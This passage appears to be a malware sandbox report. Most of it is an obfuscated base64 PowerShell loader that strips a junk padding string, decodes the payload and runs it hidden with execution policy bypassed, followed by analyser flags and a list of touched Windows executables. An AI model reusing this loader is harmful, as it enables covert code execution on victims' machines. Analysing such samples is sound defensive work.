QtPomkONRKeQBwtPomkONRKGUtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBGtPomkONRKGktPomkONRKYgBltPomkONRKHItPomkONRKLgBItPomkONRKG8tPomkONRKbQBltPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBttPomkONRKGUtPomkONRKdtPomkONRKBotPomkONRKG8tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKC4tPomkONRKRwBltPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHQtPomkONRKTQBltPomkONRKHQtPomkONRKatPomkONRKBvtPomkONRKGQtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBWtPomkONRKEEtPomkONRKSQBotPomkONRKGktPomkONRKRQtPomkONRKptPomkONRKC4tPomkONRKSQButPomkONRKHYtPomkONRKbwBrtPomkONRKGUtPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKButPomkONRKHUtPomkONRKbtPomkONRKBstPomkONRKCwtPomkONRKItPomkONRKBbtPomkONRKG8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKFstPomkONRKXQBdtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBktPomkONRKEgtPomkONRKatPomkONRKtPomkONRKwtPomkONRKEwtPomkONRKawBGtPomkONRKE4tPomkONRKUwtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKDgtPomkONRKdwBNtPomkONRKEQtPomkONRKVQB2tPomkONRKE4tPomkONRKagBrtPomkONRKHgtPomkONRKTtPomkONRKBqtPomkONRKFUtPomkONRKeQBNtPomkONRKGktPomkONRKNtPomkONRKtPomkONRKztPomkONRKE0tPomkONRKagBFtPomkONRKHUtPomkONRKTwBEtPomkONRKGctPomkONRKetPomkONRKBMtPomkONRKHktPomkONRKOtPomkONRKtPomkONRK2tPomkONRKGMtPomkONRKStPomkONRKBStPomkONRKDtPomkONRKtPomkONRKYQBBtPomkONRKD0tPomkONRKPQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKytPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGgtPomkONRKaQBFtPomkONRKHItPomkONRKZQBntPomkONRKGEtPomkONRKcwBttPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKGgtPomkONRKaQBFtPomkONRKDUtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKItPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKQwtPomkONRK6tPomkONRKFMtPomkONRKYgBDtPomkONRKFtPomkONRKtPomkONRKcgBvtPomkONRKGctPomkONRKcgBhtPomkONRKG0tPomkONRKRtPomkONRKBhtPomkONRKHQtPomkONRKYQBTtPomkONRKGItPomkONRKQwtPomkONRKntPomkONRKCstPomkONRKJwBotPomkONRKGktPomkONRKRQtPomkONRKstPomkONRKCtPomkONRKtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKatPomkONRKB0tPomkONRKG0tPomkONRKbtPomkONRKBitPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKKQtPomkONRKntPomkONRKCktPomkONRKItPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYwBStPomkONRKEUtPomkONRKctPomkONRKBMtPomkONRKEEtPomkONRKQwBltPomkONRKCtPomkONRKtPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCwtPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKMwtPomkONRK2tPomkONRKCtPomkONRKtPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKKtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKxtPomkONRKDtPomkONRKtPomkONRKNtPomkONRKtPomkONRKrtPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDEtPomkONRKMtPomkONRKtPomkONRK1tPomkONRKCstPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKNgtPomkONRK5tPomkONRKCktPomkONRKLtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKztPomkONRKDktPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKItPomkONRKtPomkONRKgtPomkONRKCctPomkONRKUwBitPomkONRKEMtPomkONRKJwtPomkONRKstPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDktPomkONRKMgtPomkONRKptPomkONRKCktPomkONRK';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('tPomkONRK','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe